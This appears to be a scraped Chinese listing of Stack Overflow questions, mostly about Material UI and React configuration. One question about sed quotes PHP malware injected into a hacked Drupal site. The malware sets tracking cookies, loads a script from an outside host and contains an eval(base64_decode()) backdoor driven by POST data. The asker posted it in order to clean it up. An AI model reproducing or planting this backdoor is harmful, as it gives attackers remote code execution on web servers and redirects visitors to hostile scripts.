小编Nea*_*arl的帖子

styled() 中的 shouldForwardProp 选项的用途是什么?

我能够将shouldForwardProp指定哪些道具应该转发到作为选项传递的包装元素放在一起styled(),但我无法找到其用例的可理解的示例。

这里的 prop 转发类似于在 React 中传递 props 吗?

为什么在使用时要阻止某些道具被转发到包装元素styled()

请原谅我的无知或者我的问题不够清晰——我仍在学习 MUI 并试图理解它。

reactjs material-ui

52
推荐指数
2
解决办法
2万
查看次数

材质 UI - 轮廓选择标签未正确渲染

根据演示,材质 UI 概述选择输入的标签应位于选择框的顶部边框的顶部。

在此输入图像描述

然而,在我的应用程序中,z-index标签的 似乎将其放置在顶部边框后面,因此看起来像一条线穿过标签。

在此输入图像描述

我几乎完全从文档中获取了代码,据我所知,没有任何样式与此输入元素冲突。我已将调试器中的样式与我拥有的样式和文档中的样式进行了比较,并且我没有看到任何第一方 CSS 文件导致在元素上设置不同的样式。

知道这里可能出了什么问题吗?

这是源代码:

<FormControl variant='outlined' style={{ width: '100%' }} margin={'1'}>
  <InputLabel id='test-select-label'>Label</InputLabel>
  <Select
    labelId='test-select-label'
    id='test-select'
    value={'test1'}
    onChange={e => setTest(e.target.value)}
    size='small'
  >
    <MenuItem key={1} value={'test'} >Test 1</MenuItem>
    <MenuItem key={2} value={'test2'} >Test 2</MenuItem>
  </Select>
</FormControl>
Run Code Online (Sandbox Code Playgroud)

css drop-down-menu reactjs material-ui

49
推荐指数
2
解决办法
6万
查看次数

使用打字稿模板将 create-react-app 更新到 4.0 时出错

我想更新react-scripts到下一个版本 ( 4.0.0),这样我就可以在此处使用本指南使用快速刷新功能。但是重新启动服务器时,由于以下错误,脚本不起作用:

$ yarn start
yarn run v1.22.4
$ react-scripts start
E:\Github\Web\so-rank\node_modules\react-scripts\scripts\utils\verifyTypeScriptSetup.js:210
        appTsConfig.compilerOptions[option] = suggested;
                                            ^

TypeError: Cannot add property noFallthroughCasesInSwitch, object is not extensible
    at verifyTypeScriptSetup (E:\Github\Web\so-rank\node_modules\react-scripts\scripts\utils\verifyTypeScriptSetup.js:210:45)
    at Object.<anonymous> (E:\Github\Web\so-rank\node_modules\react-scripts\scripts\start.js:31:1)
    at Module._compile (internal/modules/cjs/loader.js:1138:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1158:10)
    at Module.load (internal/modules/cjs/loader.js:986:32)
    at Function.Module._load (internal/modules/cjs/loader.js:879:14)
    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
    at internal/main/run_main_module.js:17:47
error Command failed with exit code 1.
Run Code Online (Sandbox Code Playgroud)

typescript reactjs create-react-app

40
推荐指数
2
解决办法
1万
查看次数

找不到模块:无法解析“E:\frontend\node_modules\@mui\styled-engine”中的“@emotion/react”

我正在尝试从 导入一个盒子组件@mui/material/Box。我已经使用以下命令安装了 Material-UI 5 npm i @mui/material。但出现这个错误,Module not found: Can't resolve '@emotion/react' in 'E:\frontend\node_modules\@mui\styled-engine'

这是我的代码。

import * as React from 'react';
import Box from '@mui/material/Box';

export default function WhiteSpace() {
  return (
    <div style={{ width: 200 }}>
      <Box
        component="div"
        sx={{
          whiteSpace: 'nowrap',
          my: 2,
          bgcolor: 'background.paper',
        }}
      >
        White Space Nowrap. White Space Nowrap.
      </Box>
      <Box
        component="div"
        sx={{
          whiteSpace: 'normal',
          my: 2,
          bgcolor: 'background.paper',
        }}
      >
        White Space Normal. White Space Normal.
      </Box>
    </div>
  );
} …
Run Code Online (Sandbox Code Playgroud)

javascript npm reactjs material-ui

40
推荐指数
1
解决办法
6万
查看次数

sed,替换第一行

通过运行一个非常过时的Drupal安装我被黑了(对我很遗憾)

似乎他们在每个.php文件中注入以下内容;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }
Run Code Online (Sandbox Code Playgroud)

我可以删除并替换它sed吗?例如:

find . -name *.php | …
Run Code Online (Sandbox Code Playgroud)

sed

34
推荐指数
2
解决办法
6万
查看次数

如何在 TypeScript 中执行 try catch 和 finally 语句?

我的项目中有错误,我需要使用trycatchfinally来处理这个问题。

我可以在 JavaScript 中使用它,但不能在 Typescript 中使用。

当我在 typescript catch语句中将Exception作为参数时,为什么它不接受这个?

这是代码。

private handling(argument: string): string {
    try {
        result= this.markLibrary(argument);
    }
    catch(e:Exception){
        result = e.Message;
    }
    return result;
}
Run Code Online (Sandbox Code Playgroud)

我需要这里的异常消息,但我无法得到。我得到了以下错误。

Catch 子句变量不能有类型注释。

error-handling try-catch typescript

34
推荐指数
4
解决办法
5万
查看次数

@mui/material/styles 和 @mui/styles 之间的区别?

在 Material-UI v5 中,一些 API 使用是从 导入的@mui/material/styles,例如useTheme. 一些 API 使用是从 导入的@mui/styles,例如makeStyles. 我可以仅使用一个库中的那些与样式相关的 API,或者@mui/styles@mui/material/styles?因为,在 Material-UI v4 中,我从'@material-ui/core/styles'或导入了所有与样式相关的 API 'material-ui/styles'

reactjs material-ui

31
推荐指数
1
解决办法
3万
查看次数

Material UI v5 - 在 TypeScript 中扩展版式变体会产生错误“没有重载与此调用匹配”

我正在使用 Material UI v5 和 TypeScript 为应用程序设置基础。我想使用一些添加到现有默认属性的自定义属性来扩展 Material UI 主题。

我的 theme.ts 配置如下所示:

import { createTheme, ThemeOptions } from "@mui/material/styles";

interface IThemeOptions extends ThemeOptions {}

export const themeStyles = {
    palette: {...},
    breakpoints: {...},
    typography: {
        h1: {...},
        h2: {...},
        h3: {...},
        h4: {...},
        h5: {...}
        h6: {...},
        button: {...},
        body1: {...},
        body2: {...},
        //this is the custom prop I want to add
        h1Bold: {
            fontFamily: '"Roboto", "Helvetica", "Arial", sans-serif',
            fontWeight: 700,
            fontSize: "3.3125rem",
            lineHeight: "1.15em",
            color: "#1D1D1D",
            marginTop: "20px", …
Run Code Online (Sandbox Code Playgroud)

javascript typescript reactjs material-ui

28
推荐指数
2
解决办法
2万
查看次数

@mui/styles 的 NPM 安装不适用于 React 18

我正在尝试将Material-UI 样式安装到 React 项目,但每当我在终端中运行此命令时:

npm i @mui/styles

它读取以下消息:

npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR! 
npm ERR! While resolving: apollo-music-share@0.1.0
npm ERR! Found: react@18.1.0
npm ERR! node_modules/react
npm ERR!   react@"^18.1.0" from the root project
npm ERR! 
npm ERR! Could not resolve dependency:
npm ERR! peer react@"^17.0.0" from @mui/styles@5.8.0
npm ERR! node_modules/@mui/styles
npm ERR!   @mui/styles@"*" from the root project
Run Code Online (Sandbox Code Playgroud)

这是 React 中的代码:

import { HeadsetTwoTone } from "@mui/icons-material";
import { AppBar, Toolbar, …
Run Code Online (Sandbox Code Playgroud)

reactjs material-ui

27
推荐指数
1
解决办法
4万
查看次数

Material UI TextField 中的 inputProps 与 InputProps

inputProps和之间有什么区别InputProps?下面的2TextField做同样的事情。我什么时候必须选择其中之一?

<TextField
  label="inputProps"
  inputProps={{
    name: 'inputProps',
    type: 'number',
    placeholder: 'placeholder',
    value,
    onChange: handleChange,
  }}
/>
Run Code Online (Sandbox Code Playgroud)
<TextField
  label="InputProps"
  InputProps={{
    name: 'InputProps',
    type: 'number',
    placeholder: 'placeholder',
    value,
    onChange: handleChange,
  }}
/>
Run Code Online (Sandbox Code Playgroud)

Codesandbox 演示

textfield reactjs material-ui

24
推荐指数
1
解决办法
3万
查看次数